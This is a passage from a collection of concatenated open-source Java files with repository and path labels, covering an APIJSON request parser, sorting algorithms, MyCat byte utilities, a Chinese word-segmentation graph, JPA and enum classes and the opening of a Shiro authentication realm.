apijson.JSONObject.KEY_DATABASE, request); setRequestAttribute(key, false, apijson.JSONObject.VERSION, request); setRequestAttribute(key, false, apijson.JSONObject.KEY_ROLE, request); } } if (key.startsWith("@") || key.endsWith("@")) { correctRequest.put(key, obj); continue; } if (obj instanceof JSONObject || obj instanceof JSONArray) { RequestMethod _method; if (obj instanceof JSONObject) { JSONObject tblObj = request.getJSONObject(key); String mn = tblObj == null ? null : tblObj.getString(apijson.JSONObject.KEY_METHOD); _method = mn == null ? null : RequestMethod.valueOf(mn); String combine = _method == null ? null : tblObj.getString(KEY_COMBINE); if (combine != null && RequestMethod.isPublicMethod(_method) == false) { throw new IllegalArgumentException(key + ":{} 里的 @combine:value 不合法!开放请求 GET、HEAD 才允许传 @combine:value !"); } } else { Map<String, Object> attrMap = keyObjectAttributesMap.get(key); if (attrMap == null) { if (method == RequestMethod.CRUD) { _method = GET; Map<String, Object> objAttrMap = new HashMap<>(); objAttrMap.put(apijson.JSONObject.KEY_METHOD, GET); keyObjectAttributesMap.put(key, objAttrMap); } else { _method = method; Map<String, Object> objAttrMap = new HashMap<>(); objAttrMap.put(apijson.JSONObject.KEY_METHOD, method); keyObjectAttributesMap.put(key, objAttrMap); } } else { _method = (RequestMethod) attrMap.get(apijson.JSONObject.KEY_METHOD); } } // 非 CRUD 方法,都只能和 URL method 完全一致,避免意料之外的安全风险。 if (method != RequestMethod.CRUD && _method != method) { throw new IllegalArgumentException("不支持在 " + method + " 中 " + _method + " !"); } // get请求不校验 if (RequestMethod.isPublicMethod(_method)) { correctRequest.put(key, obj); continue; } if (tag != null && ! tag.contains(":")) { JSONObject object = getRequestStructure(_method, tag, version); JSONObject ret = objectVerify(_method, tag, version, name, request, maxUpdateCount, creator, object); correctRequest.putAll(ret); break; } String _tag = buildTag(request, key, method, tag); JSONObject object = getRequestStructure(_method, _tag, version); if (method == RequestMethod.CRUD && StringUtil.isEmpty(tag, true)) { JSONObject requestItem = new JSONObject(); requestItem.put(key, obj); JSONObject ret = objectVerify(_method, _tag, version, name, requestItem, maxUpdateCount, creator, object); correctRequest.put(key, ret.get(key)); } else { return objectVerify(_method, _tag, version, name, request, maxUpdateCount, creator, object); } } else { correctRequest.put(key, obj); } } catch (Exception e) { e.printStackTrace(); throw new Exception(e); // 包装一层只是为了打印日志?看起来没必要 } } // 这里是 requestObject ref request 的引用, 删除不需要的临时变量 for (String removeKey : removeTmpKeys) { request.remove(removeKey); } return correctRequest; } public static <E extends Enum<E>> E getEnum(final Class<E> enumClass, final String enumName, final E defaultEnum) { if (enumName == null) { return defaultEnum; } try { return Enum.valueOf(enumClass, enumName); } catch (final IllegalArgumentException ex) { return defaultEnum; } } protected void setRequestAttribute(String key, boolean isArray, String attrKey, @NotNull JSONObject request) { Map<String, Object> attrMap = keyObjectAttributesMap.get(isArray ? key + apijson.JSONObject.KEY_ARRAY : key); Object attrVal = attrMap == null ? null : attrMap.get(attrKey); JSONObject obj = attrVal == null ? null : request.getJSONObject(key); if (obj != null && obj.get(attrKey) == null) { // 如果对象内部已经包含该属性,不覆盖 obj.put(attrKey, attrVal); } } protected String buildTag(JSONObject request, String key, RequestMethod method, String tag) { if (method == RequestMethod.CRUD) { Map<String, Object> attrMap = keyObjectAttributesMap.get(key); Object _tag = attrMap == null ? null : attrMap.get(JSONRequest.KEY_TAG); return _tag != null ? _tag.toString() : StringUtil.isEmpty(tag) ? key : tag; } else { if (StringUtil.isEmpty(tag, true)) { throw new IllegalArgumentException("请在最外层传 tag !一般是 Table 名,例如 \"tag\": \"User\" "); } } return tag; } protected JSONObject objectVerify(RequestMethod method, String tag, int version, String name, @NotNull JSONObject request , int maxUpdateCount, SQLCreator creator, JSONObject object) throws Exception { // 获取指定的JSON结构 >>>>>>>>>>>>>> JSONObject target = wrapRequest(method, tag, object, true); // JSONObject clone 浅拷贝没用,Structure.parse 会导致 structure 里面被清空,第二次从缓存里取到的就是 {} return getVerifier().verifyRequest(method, name, target, request, maxUpdateCount, getGlobalDatabase(), getGlobalSchema(), creator); } /*** * 兼容url crud, 获取真实method * @param method = crud * @param key * @return */ public RequestMethod getRealMethod(RequestMethod method, String key, Object value) { if (method == CRUD && (value instanceof JSONObject || value instanceof JSONArray)) { Map<String, Object> attrMap = keyObjectAttributesMap.get(key); Object _method = attrMap == null ? null : attrMap.get(apijson.JSONObject.KEY_METHOD); if (_method instanceof RequestMethod) { return (RequestMethod) _method; } } return method; } }
Tencent/APIJSON
APIJSONORM/src/main/java/apijson/orm/AbstractParser.java
129
package sorts; /** * 向下冒泡算法 (或许比冒泡更易懂的排序算法?) * 希尔排序 * * Author: wliu */ public class SortsAddOn { public static void main(String[] args) { int[] arr = {3, 2, 6, 4, 5, 1, 9, 20, 13, 16}; // bubbleDownSort(arr); shellSort(arr); print(arr); } /** * 向下冒泡。可能比冒泡更易懂? * * 算法概要: * 从0开始,用这个元素去跟后面的所有元素比较,如果发现这个元素大于后面的某个元素,则交换。 * 3 2 6 4 5 1 * 第一趟是从 index=0 也就是 3, 开始跟index=1及其后面的数字比较 * 3 大于 2,交换,变为 2 3 6 4 5 1,此时index=0的位置变为了2 * 接下来将用2跟index=2比较 * 2 不大于 6 不交换 * 2 不大于 4 不交换 * 2 不大于 5 不交换 * 2 大于 1,交换,变为 1 3 6 4 5 2,第一趟排序完成。 * * 第二趟是从 index=1 也就是 3,开始跟index=2及其后面的数字比较 * 3 不大于 6 不交换 * 3 不大于 4 不交换 * 3 不大于 5 不交换 * 3 大于 2,交换,变为 1 2 6 4 5 3,第二趟排序完成。 * * 第三趟是从 index=2 也就是 6,开始跟index=3及其后面的数字比较 * 6 大于 4,交换,变为 1 2 4 6 5 3, 此时 index = 2 的位置变为了4 * 接下来将用4跟index=4比较 * 4 不大于 5 不交换 * 4 大于 3,交换,变为 1 2 3 6 5 4,第三趟排序完成。 * * 第四趟是从 index=3 也就是 6,开始跟index=4及其后面的数字比较 * 6 大于 5,交换,变为 1 2 3 5 6 4, 此时 index = 3 的位置变为了5 * 接下来将用5跟index=5比较 * 5 大于 4,交换,变为 1 2 3 4 6 5, 第四趟排序完成。 * * 第五趟是从 index=4 也就是 6,开始跟index=5及其后面的数字比较 * 6 大于 5,交换,变为 1 2 3 4 5 6, 此时 index = 4 的位置变为了5 * 接下来将用5跟index=6比较 * index = 6 已经不满足 index < length 的条件,整个排序完成。 */ private static void bubbleDownSort(int[] arr) { int len = arr.length; if (len == 1) return; for (int i = 0; i < len; i++) { for (int j = i + 1; j < len; j++) { if (arr[i] > arr[j]) { int tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; } } } } private static void shellSort(int[] arr) { int len = arr.length; if (len == 1) return; int step = len / 2; while (step >= 1) { for (int i = step; i < len; i++) { int value = arr[i]; int j = i - step; for (; j >= 0; j -= step) { if (value < arr[j]) { arr[j+step] = arr[j]; } else { break; } } arr[j+step] = value; } step = step / 2; } } private static void print(int[] arr) { System.out.println("Print array:"); for (int x : arr) { System.out.print(x + "\t"); } System.out.println(""); } }
wangzheng0822/algo
java/11_sorts/SortsAddOn.java
132
/* * Copyright (c) 2020, OpenCloudDB/MyCAT and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software;Designed and Developed mainly by many Chinese * opensource volunteers. you can redistribute it and/or modify it under the * terms of the GNU General Public License version 2 only, as published by the * Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Any questions about this component can be directed to it's project Web address * https://code.google.com/p/opencloudb/. * */ package io.mycat.util; import java.nio.charset.Charset; import java.util.Date; public class ByteUtil { /** * compare to number or dicamal ascii byte array, for number :123456 ,store * to array [1,2,3,4,5,6] * * @param b1 * @param b2 * @return -1 means b1 < b2, or 0 means b1=b2 else return 1 */ public static int compareNumberByte(byte[] b1, byte[] b2) { if(b1 == null || b1.length == 0) { return -1; } else if(b2 == null || b2.length == 0) { return 1; } boolean isNegetive = b1[0] == 45 || b2[0] == 45; if (isNegetive == false && b1.length != b2.length) { return b1.length - b2.length; } int len = b1.length > b2.length ? b2.length : b1.length; int result = 0; int index = -1; for (int i = 0; i < len; i++) { int b1val = b1[i]; int b2val = b2[i]; if (b1val > b2val) { result = 1; index = i; break; } else if (b1val < b2val) { index = i; result = -1; break; } } if (index == 0) { // first byte compare return result; } else { if( b1.length != b2.length ) { int lenDelta = b1.length - b2.length; return isNegetive ? 0 - lenDelta : lenDelta; } else { return isNegetive ? 0 - result : result; } } } public static byte[] compareNumberArray2(byte[] b1, byte[] b2, int order) { if (b1.length <= 0 && b2.length > 0) { return b2; } if (b1.length > 0 && b2.length <= 0) { return b1; } int len = b1.length > b2.length ? b1.length : b2.length; for (int i = 0; i < len; i++) { if (b1[i] != b2[i]) { if (order == 1) { return ((b1[i] & 0xff) - (b2[i] & 0xff)) > 0 ? b1 : b2; } else { return ((b1[i] & 0xff) - (b2[i] & 0xff)) > 0 ? b2 : b1; } } } return b1; } public static byte[] getBytes(short data) { byte[] bytes = new byte[2]; bytes[0] = (byte) (data & 0xff); bytes[1] = (byte) ((data & 0xff00) >> 8); return bytes; } public static byte[] getBytes(char data) { byte[] bytes = new byte[2]; bytes[0] = (byte) (data); bytes[1] = (byte) (data >> 8); return bytes; } public static byte[] getBytes(int data) { byte[] bytes = new byte[4]; bytes[0] = (byte) (data & 0xff); bytes[1] = (byte) ((data & 0xff00) >> 8); bytes[2] = (byte) ((data & 0xff0000) >> 16); bytes[3] = (byte) ((data & 0xff000000) >> 24); return bytes; } public static byte[] getBytes(long data) { byte[] bytes = new byte[8]; bytes[0] = (byte) (data & 0xff); bytes[1] = (byte) ((data >> 8) & 0xff); bytes[2] = (byte) ((data >> 16) & 0xff); bytes[3] = (byte) ((data >> 24) & 0xff); bytes[4] = (byte) ((data >> 32) & 0xff); bytes[5] = (byte) ((data >> 40) & 0xff); bytes[6] = (byte) ((data >> 48) & 0xff); bytes[7] = (byte) ((data >> 56) & 0xff); return bytes; } public static byte[] getBytes(float data) { int intBits = Float.floatToIntBits(data); return getBytes(intBits); } public static byte[] getBytes(double data) { long intBits = Double.doubleToLongBits(data); return getBytes(intBits); } public static byte[] getBytes(String data, String charsetName) { Charset charset = Charset.forName(charsetName); return data.getBytes(charset); } public static byte[] getBytes(String data) { return getBytes(data, "GBK"); } public static short getShort(byte[] bytes) { return Short.parseShort(new String(bytes)); // return (short) ((0xff & bytes[0]) | (0xff00 & (bytes[1] << 8))); } public static char getChar(byte[] bytes) { return (char) ((0xff & bytes[0]) | (0xff00 & (bytes[1] << 8))); } public static int getInt(byte[] bytes) { return Integer.parseInt(new String(bytes)); // return (0xff & bytes[0]) | (0xff00 & (bytes[1] << 8)) | (0xff0000 & // (bytes[2] << 16)) | (0xff000000 & (bytes[3] << 24)); } public static long getLong(byte[] bytes) { return Long.parseLong(new String(bytes)); // return(0xffL & (long)bytes[0]) | (0xff00L & ((long)bytes[1] << 8)) | // (0xff0000L & ((long)bytes[2] << 16)) | (0xff000000L & ((long)bytes[3] // << 24)) // | (0xff00000000L & ((long)bytes[4] << 32)) | (0xff0000000000L & // ((long)bytes[5] << 40)) | (0xff000000000000L & ((long)bytes[6] << // 48)) | (0xff00000000000000L & ((long)bytes[7] << 56)); } public static double getDouble(byte[] bytes) { return Double.parseDouble(new String(bytes)); } public static float getFloat(byte[] bytes) { return Float.parseFloat(new String(bytes)); } public static String getString(byte[] bytes, String charsetName) { return new String(bytes, Charset.forName(charsetName)); } public static String getString(byte[] bytes) { return getString(bytes, "UTF-8"); } public static String getDate(byte[] bytes) { return new String(bytes); } public static String getTime(byte[] bytes) { return new String(bytes); } public static String getTimestmap(byte[] bytes) { return new String(bytes); } public static byte[] getBytes(Date date, boolean isTime) { if(isTime) { return getBytesFromTime(date); } else { return getBytesFromDate(date); } } /** * short从ASCII类型的值转换成数学二进制值。java里面不存在unsigned short,因此转换mysql unsiged值时需要用到java int. * @param bytes mysql里面的unsigned short字段,采用ASCII类型表达的值 * @return 数学二进制值 */ public static byte[] convertUnsignedShort2Binary(byte[] bytes) { int value = Integer.parseInt(new String(bytes)); byte[] binaryBytes = new byte[2]; binaryBytes[0] = (byte) (value & 0xff); binaryBytes[1] = (byte) ((value & 0xff00) >> 8); return binaryBytes; } private static byte[] getBytesFromTime(Date date) { int day = 0; int hour = DateUtil.getHour(date); int minute = DateUtil.getMinute(date); int second = DateUtil.getSecond(date); int microSecond = DateUtil.getMicroSecond(date); byte[] bytes = null; byte[] tmp = null; if(day == 0 && hour == 0 && minute == 0 && second == 0 && microSecond == 0) { bytes = new byte[1]; bytes[0] = (byte) 0; } else if(microSecond == 0) { bytes = new byte[1 + 8]; bytes[0] = (byte) 8; bytes[1] = (byte) 0; // is_negative (1) -- (1 if minus, 0 for plus) tmp = getBytes(day); bytes[2] = tmp[0]; bytes[3] = tmp[1]; bytes[4] = tmp[2]; bytes[5] = tmp[3]; bytes[6] = (byte) hour; bytes[7] = (byte) minute; bytes[8] = (byte) second; } else { bytes = new byte[1 + 12]; bytes[0] = (byte) 12; bytes[1] = (byte) 0; // is_negative (1) -- (1 if minus, 0 for plus) tmp = getBytes(day); bytes[2] = tmp[0]; bytes[3] = tmp[1]; bytes[4] = tmp[2]; bytes[5] = tmp[3]; bytes[6] = (byte) hour; bytes[7] = (byte) minute; bytes[8] = (byte) second; tmp = getBytes(microSecond); bytes[9] = tmp[0]; bytes[10] = tmp[1]; bytes[11] = tmp[2]; bytes[12] = tmp[3]; } return bytes; } private static byte[] getBytesFromDate(Date date) { int year = DateUtil.getYear(date); int month = DateUtil.getMonth(date); int day = DateUtil.getDay(date); int hour = DateUtil.getHour(date); int minute = DateUtil.getMinute(date); int second = DateUtil.getSecond(date); int microSecond = DateUtil.getMicroSecond(date); byte[] bytes = null; byte[] tmp = null; if(year == 0 && month == 0 && day == 0 && hour == 0 && minute == 0 && second == 0 && microSecond == 0) { bytes = new byte[1]; bytes[0] = (byte) 0; } else if(hour == 0 && minute == 0 && second == 0 && microSecond == 0) { bytes = new byte[1 + 4]; bytes[0] = (byte) 4; tmp = getBytes((short) year); bytes[1] = tmp[0]; bytes[2] = tmp[1]; bytes[3] = (byte) month; bytes[4] = (byte) day; } else if(microSecond == 0) { bytes = new byte[1 + 7]; bytes[0] = (byte) 7; tmp = getBytes((short) year); bytes[1] = tmp[0]; bytes[2] = tmp[1]; bytes[3] = (byte) month; bytes[4] = (byte) day; bytes[5] = (byte) hour; bytes[6] = (byte) minute; bytes[7] = (byte) second; } else { bytes = new byte[1 + 11]; bytes[0] = (byte) 11; tmp = getBytes((short) year); bytes[1] = tmp[0]; bytes[2] = tmp[1]; bytes[3] = (byte) month; bytes[4] = (byte) day; bytes[5] = (byte) hour; bytes[6] = (byte) minute; bytes[7] = (byte) second; tmp = getBytes(microSecond); bytes[8] = tmp[0]; bytes[9] = tmp[1]; bytes[10] = tmp[2]; bytes[11] = tmp[3]; } return bytes; } // 支持 byte dump //--------------------------------------------------------------------- public static String dump(byte[] data, int offset, int length) { StringBuilder sb = new StringBuilder(); sb.append(" byte dump log "); sb.append(System.lineSeparator()); sb.append(" offset ").append( offset ); sb.append(" length ").append( length ); sb.append(System.lineSeparator()); int lines = (length - 1) / 16 + 1; for (int i = 0, pos = 0; i < lines; i++, pos += 16) { sb.append(String.format("0x%04X ", i * 16)); for (int j = 0, pos1 = pos; j < 16; j++, pos1++) { sb.append(pos1 < length ? String.format("%02X ", data[offset + pos1]) : " "); } sb.append(" "); for (int j = 0, pos1 = pos; j < 16; j++, pos1++) { sb.append(pos1 < length ? print(data[offset + pos1]) : '.'); } sb.append(System.lineSeparator()); } sb.append(length).append(" bytes").append(System.lineSeparator()); return sb.toString(); } public static char print(byte b) { return (b < 32 || b > 127) ? '.' : (char) b; } /* * 返回小数点的位置 * @return 找不到 ,其他都是小数点的位置 * */ public static int getDot(byte[] array) { for(int s = 0; s < array.length; s++){ if(array[s] == 46) { return s; } } return array.length; } /* * @return 返回是否是科学计数法 * */ public static boolean hasE(byte[] array) { for(int s = 0; s < array.length; s++){ if(array[s] == 'E' || array[s] == 'e') { return true; } } return false; } /* * @比較 對於b1取0 到b1End進行比較 * 對於b2取0 到b2End進行比較 * */ public static int compareNumberByte(byte[] b1, int b1End, byte[] b2, int b2End) { if(b1 == null || b1.length == 0) { return -1; } else if(b2 == null || b2.length == 0) { return 1; } boolean isNegetive = b1[0] == 45 || b2[0] == 45; // 45 表示负数符号 //正数 长度不等 直接返回 长度 //都是正数长度不等,直接返回长度的比较 if (isNegetive == false && b1End != b2End) { return b1End - b2End; } //取短的一个 int len = b1End > b2End ? b2End : b1End; int result = 0; int index = -1; for (int i = 0; i < len; i++) { int b1val = b1[i]; int b2val = b2[i]; if (b1val > b2val) { result = 1; index = i; break; } else if (b1val < b2val) { index = i; result = -1; break; } } if (index == 0) { //正负数直接符号比较 // first byte compare ,数值与符号的比较 一正 一负数 return result; } else { if( b1End != b2End ) { //都是正数 长度不等, 都是负数 长度不等 int lenDelta = b1End - b2End; return isNegetive ? 0 - lenDelta : lenDelta; } else { //长度相等 符号相同 //位数相同 直接取比较结果的 正数就是结果,否则就是比较结果取反 return isNegetive ? 0 - result : result; } } } /* * double類型的b1 b2進行比較 * 首先:判斷是否是科學計數法 是直接創建Double對象進行比較 * 否則利用byte進行比較 * 先判斷整數位 再判斷小數位 * */ public static int compareDouble(byte[] b1, byte[] b2) { if(b1 == null || b1.length == 0) { return -1; } else if(b2 == null || b2.length == 0) { return 1; } boolean isHasE = hasE(b1) || hasE(b2); if(isHasE){ return Double.valueOf(new String(b1)).compareTo( Double.valueOf(new String(b2))) ; } int d1 = getDot(b1); int d2 = getDot(b2); //判斷整數位 int result = compareNumberByte(b1, d1, b2, d2); //符号相等 if(result == 0){ //判斷小數位 boolean isNegetive = b1[0] == 45 || b2[0] == 45; // 45 表示负数符号 int xsLen1 = b1.length - d1; int xsLen2 = b2.length - d2; int len = xsLen1 > xsLen2 ? xsLen2 : xsLen1; //小数位数中的 小数 int temp = 0; for(int i = 0; i < len ; i++) { temp = b1[i + d1] - b2 [i+ d2]; if(temp != 0){ break; } } if(temp == 0){ //0.12 0.123 或者 -0.12 -0.123 int lenDelta = xsLen1 - xsLen2; result = isNegetive? 0 - lenDelta : lenDelta; } else{ //0.12 0.113 或者 -0.12 -0.113 result = isNegetive? 0 - temp : temp; } } return result; } }
MyCATApache/Mycat-Server
src/main/java/io/mycat/util/ByteUtil.java
133
package org.ansj.util; import org.ansj.domain.AnsjItem; import org.ansj.domain.Result; import org.ansj.domain.Term; import org.ansj.domain.TermNatures; import org.ansj.library.DATDictionary; import org.ansj.splitWord.Analysis.Merger; import org.ansj.util.TermUtil.InsertTermType; import org.nlpcn.commons.lang.util.WordAlert; import java.util.List; import java.util.Map; /** * 最短路径 * * @author ansj */ public class Graph { public char[] chars = null; public Term[] terms = null; protected Term end = null; protected Term root = null; protected static final String B = "BEGIN"; protected static final String E = "END"; // 是否有人名 public boolean hasPerson; public boolean hasNumQua; public String str ; // 是否需有歧异 public Graph(String str) { this.str = str ; this.chars = WordAlert.alertStr(str); terms = new Term[chars.length + 1]; end = new Term(E, chars.length, AnsjItem.END); root = new Term(B, -1, AnsjItem.BEGIN); terms[chars.length] = end; } public Graph(Result result) { Term last = result.get(result.size() - 1); int beginOff = result.get(0).getOffe(); int len = last.getOffe() - beginOff + last.getName().length(); terms = new Term[len + 1]; end = new Term(E, len, AnsjItem.END); root = new Term(B, -1, AnsjItem.BEGIN); terms[len] = end; for (Term term : result) { terms[term.getOffe() - beginOff] = term; } } /** * 构建最优路径 */ public List<Term> getResult(Merger merger) { return merger.merger(); } /** * 增加一个词语到图中 * * @param term */ public void addTerm(Term term) { // 是否有人名 if (!hasPerson && term.termNatures().personAttr.isActive()) { hasPerson = true; } if (!hasNumQua && term.termNatures().numAttr.isQua()) { hasNumQua = true; } TermUtil.insertTerm(terms, term, InsertTermType.REPLACE); } /** * 取得最优路径的root Term * * @return */ protected Term optimalRoot() { Term to = end; to.clearScore(); Term from = null; while ((from = to.from()) != null) { for (int i = from.getOffe() + 1; i < to.getOffe(); i++) { terms[i] = null; } if (from.getOffe() > -1) { terms[from.getOffe()] = from; } // 断开横向链表.节省内存 from.setNext(null); from.setTo(to); from.clearScore(); to = from; } return root; } /** * 删除最短的节点 */ public void rmLittlePath() { int maxTo = -1; Term temp = null; Term maxTerm = null; // 是否有交叉 boolean flag = false; final int length = terms.length - 1; for (int i = 0; i < length; i++) { maxTerm = getMaxTerm(i); if (maxTerm == null) { continue; } maxTo = maxTerm.toValue(); /** * 对字数进行优化.如果一个字.就跳过..两个字.且第二个为null则.也跳过.从第二个后开始 */ switch (maxTerm.getName().length()) { case 1: continue; case 2: if (terms[i + 1] == null) { i = i + 1; continue; } } /** * 判断是否有交叉 */ for (int j = i + 1; j < maxTo; j++) { temp = getMaxTerm(j); if (temp == null) { continue; } if (maxTo < temp.toValue()) { maxTo = temp.toValue(); flag = true; } } if (flag) { i = maxTo - 1; flag = false; } else { maxTerm.setNext(null); terms[i] = maxTerm; for (int j = i + 1; j < maxTo; j++) { terms[j] = null; } } } } /** * 得道最到本行最大term,也就是最右面的term * * @param i * @return */ private Term getMaxTerm(int i) { Term maxTerm = terms[i]; if (maxTerm == null) { return null; } Term term = maxTerm; while ((term = term.next()) != null) { maxTerm = term; } return maxTerm; } /** * 删除无意义的节点,防止viterbi太多 */ public void rmLittleSinglePath() { int maxTo = -1; Term temp = null; for (int i = 0; i < terms.length; i++) { if (terms[i] == null) { continue; } maxTo = terms[i].toValue(); if (maxTo - i == 1 || i + 1 == terms.length) { continue; } for (int j = i; j < maxTo; j++) { temp = terms[j]; if (temp != null && temp.toValue() <= maxTo && temp.getName().length() == 1) { terms[j] = null; } } } } /** * 删除小节点。保证被删除的小节点的单个分数小于等于大节点的分数 */ public void rmLittlePathByScore() { int maxTo = -1; Term temp = null; for (int i = 0; i < terms.length; i++) { if (terms[i] == null) { continue; } Term maxTerm = null; double maxScore = 0; Term term = terms[i]; // 找到自身分数对大最长的 do { if (maxTerm == null || maxScore > term.score()) { maxTerm = term; } else if (maxScore == term.score() && maxTerm.getName().length() < term.getName().length()) { maxTerm = term; } } while ((term = term.next()) != null); term = maxTerm; do { maxTo = term.toValue(); maxScore = term.score(); if (maxTo - i == 1 || i + 1 == terms.length) { continue; } boolean flag = true;// 可以删除 out: for (int j = i; j < maxTo; j++) { temp = terms[j]; if (temp == null) { continue; } do { if (temp.toValue() > maxTo || temp.score() < maxScore) { flag = false; break out; } } while ((temp = temp.next()) != null); } // 验证通过可以删除了 if (flag) { for (int j = i + 1; j < maxTo; j++) { terms[j] = null; } } } while ((term = term.next()) != null); } } /** * 默认按照最大分数作为路径 */ public void walkPathByScore(){ walkPathByScore(true); } /** * 路径方式 * @param asc true 最大路径,false 最小路径 */ public void walkPathByScore(boolean asc) { Term term = null; // BEGIN先行打分 mergerByScore(root, 0, asc); // 从第一个词开始往后打分 for (int i = 0; i < terms.length; i++) { term = terms[i]; while (term != null && term.from() != null && term != end) { int to = term.toValue(); mergerByScore(term, to, asc); term = term.next(); } } optimalRoot(); } public void walkPath() { walkPath(null); } /** * 干涉性增加相对权重 * * @param relationMap */ public void walkPath(Map<String, Double> relationMap) { Term term = null; // BEGIN先行打分 merger(root, 0, relationMap); // 从第一个词开始往后打分 for (int i = 0; i < terms.length; i++) { term = terms[i]; while (term != null && term.from() != null && term != end) { int to = term.toValue(); merger(term, to, relationMap); term = term.next(); } } optimalRoot(); } /** * 具体的遍历打分方法 * * @param to */ private void merger(Term fromTerm, int to, Map<String, Double> relationMap) { Term term = null; if (terms[to] != null) { term = terms[to]; while (term != null) { // 关系式to.set(from) term.setPathScore(fromTerm, relationMap); term = term.next(); } } else { char c = chars[to]; TermNatures tn = DATDictionary.getItem(c).termNatures; if (tn == null || tn == TermNatures.NULL) { tn = TermNatures.NULL; } terms[to] = new Term(String.valueOf(c), to, tn); terms[to].setPathScore(fromTerm, relationMap); } } /** * 根据分数 */ private void mergerByScore(Term fromTerm, int to, boolean asc) { Term term = null; if (terms[to] != null) { term = terms[to]; while (term != null) { // 关系式to.set(from) term.setPathSelfScore(fromTerm, asc); term = term.next(); } } } /** * 对graph进行调试用的 */ public void printGraph() { for (Term term : terms) { if (term == null) { continue; } System.out.print(term.getName() + "\t" + term.score() + " ,"); while ((term = term.next()) != null) { System.out.print(term + "\t" + term.score() + " ,"); } System.out.println(); } } }
NLPchina/ansj_seg
src/main/java/org/ansj/util/Graph.java
134
package com.neo.model; import javax.persistence.*; import java.util.List; @Entity public class SysRole { @Id@GeneratedValue private Integer id; // 编号 private String role; // 角色标识程序中判断使用,如"admin",这个是唯一的: private String description; // 角色描述,UI界面显示使用 private Boolean available = Boolean.FALSE; // 是否可用,如果不可用将不会添加给用户 //角色 -- 权限关系:多对多关系; @ManyToMany(fetch= FetchType.EAGER) @JoinTable(name="SysRolePermission",joinColumns={@JoinColumn(name="roleId")},inverseJoinColumns={@JoinColumn(name="permissionId")}) private List<SysPermission> permissions; // 用户 - 角色关系定义; @ManyToMany @JoinTable(name="SysUserRole",joinColumns={@JoinColumn(name="roleId")},inverseJoinColumns={@JoinColumn(name="uid")}) private List<UserInfo> userInfos;// 一个角色对应多个用户 public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getRole() { return role; } public void setRole(String role) { this.role = role; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public Boolean getAvailable() { return available; } public void setAvailable(Boolean available) { this.available = available; } public List<SysPermission> getPermissions() { return permissions; } public void setPermissions(List<SysPermission> permissions) { this.permissions = permissions; } public List<UserInfo> getUserInfos() { return userInfos; } public void setUserInfos(List<UserInfo> userInfos) { this.userInfos = userInfos; } }
ityouknow/spring-boot-examples
2.x/spring-boot-shiro/src/main/java/com/neo/model/SysRole.java
135
/** * @author Anonymous * @since 2019/11/23 */ public class Solution { /** * 判断数组是否是某个二叉搜索树的后序遍历序列 * * @param sequence 数组 * @return 是否属于某二叉搜索树的后序遍历序列 */ public boolean VerifySquenceOfBST(int[] sequence) { if (sequence == null || sequence.length < 1) { return false; } return verify(sequence, 0, sequence.length - 1); } private boolean verify(int[] sequence, int start, int end) { if (start >= end) { return true; } int val = sequence[end]; int i = start; for (; i <= end; ++i) { if (sequence[i] >= val) { break; } } for (int j = i; j < end; ++j) { if (sequence[j] < val) { return false; } } return verify(sequence, start, i - 1) && verify(sequence, i, end - 1); } }
geekxh/hello-algorithm
算法读物/剑指offer/33_SquenceOfBST/Solution.java
136
package com.zheng.common.db; /** * 多数据源枚举 * Created by ZhangShuzheng on 2017/1/15. */ public enum DataSourceEnum { // 主库 MASTER("masterDataSource", true), // 从库 SLAVE("slaveDataSource", false),; // 数据源名称 private String name; // 是否是默认数据源 private boolean master; DataSourceEnum(String name, boolean master) { this.name = name; this.master = master; } public String getName() { return name; } public void setName(String name) { this.name = name; } public boolean isMaster() { return master; } public void setMaster(boolean master) { this.master = master; } public String getDefault() { String defaultDataSource = ""; for (DataSourceEnum dataSourceEnum : DataSourceEnum.values()) { if (!"".equals(defaultDataSource)) { break; } if (dataSourceEnum.master) { defaultDataSource = dataSourceEnum.getName(); } } return defaultDataSource; } }
shuzheng/zheng
zheng-common/src/main/java/com/zheng/common/db/DataSourceEnum.java
137
package org.jeecg.config.shiro; import lombok.extern.slf4j.Slf4j; import org.apache.shiro.authc.AuthenticationException; import org.apache.shiro.authc.AuthenticationInfo; import org.apache.shiro.authc.AuthenticationToken; import org.apache.shiro.authc.SimpleAuthenticationInfo; import org.apache.shiro.authz.AuthorizationInfo; import org.apache.shiro.authz.SimpleAuthorizationInfo; import org.apache.shiro.realm.AuthorizingRealm; import org.apache.shiro.subject.PrincipalCollection; import org.jeecg.common.api.CommonAPI; import org.jeecg.common.config.TenantContext; import org.jeecg.common.constant.CacheConstant; import org.jeecg.common.constant.CommonConstant; import org.jeecg.common.system.util.JwtUtil; import org.jeecg.common.system.vo.LoginUser; import org.jeecg.common.util.RedisUtil; import org.jeecg.common.util.SpringContextUtils; import org.jeecg.common.util.TokenUtils; import org.jeecg.common.util.oConvertUtils; import org.springframework.context.annotation.Lazy; import org.springframework.stereotype.Component; import javax.annotation.Resource; import javax.servlet.http.HttpServletRequest; import java.util.Set; /** * @Description: 用户登录鉴权和获取用户授权 * @Author: Scott * @Date: 2019-4-23 8:13 * @Version: 1.1 */ @Component @Slf4j public class ShiroRealm extends AuthorizingRealm { @Lazy @Resource private CommonAPI commonApi; @Lazy @Resource private RedisUtil redisUtil; /** * 必须重写此方法,不然Shiro会报错 */ @Override public boolean supports(AuthenticationToken token) { return token instanceof JwtToken; } /** * 权限信息认证(包括角色以及权限)是用户访问controller的时候才进行验证(redis存储的此处权限信息) * 触发检测用户权限时才会调用此方法,例如checkRole,checkPermission * * @param principals 身份信息 * @return AuthorizationInfo 权限信息 */ @Override protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) { log.debug("===============Shiro权限认证开始============ [ roles、permissions]=========="); String username = null; String userId = null; if (principals != null) { LoginUser sysUser = (LoginUser) principals.getPrimaryPrincipal(); username = sysUser.getUsername(); userId = sysUser.getId(); } SimpleAuthorizationInfo info = new SimpleAuthorizationInfo(); // 设置用户拥有的角色集合,比如“admin,test” Set<String> roleSet = commonApi.queryUserRoles(username); 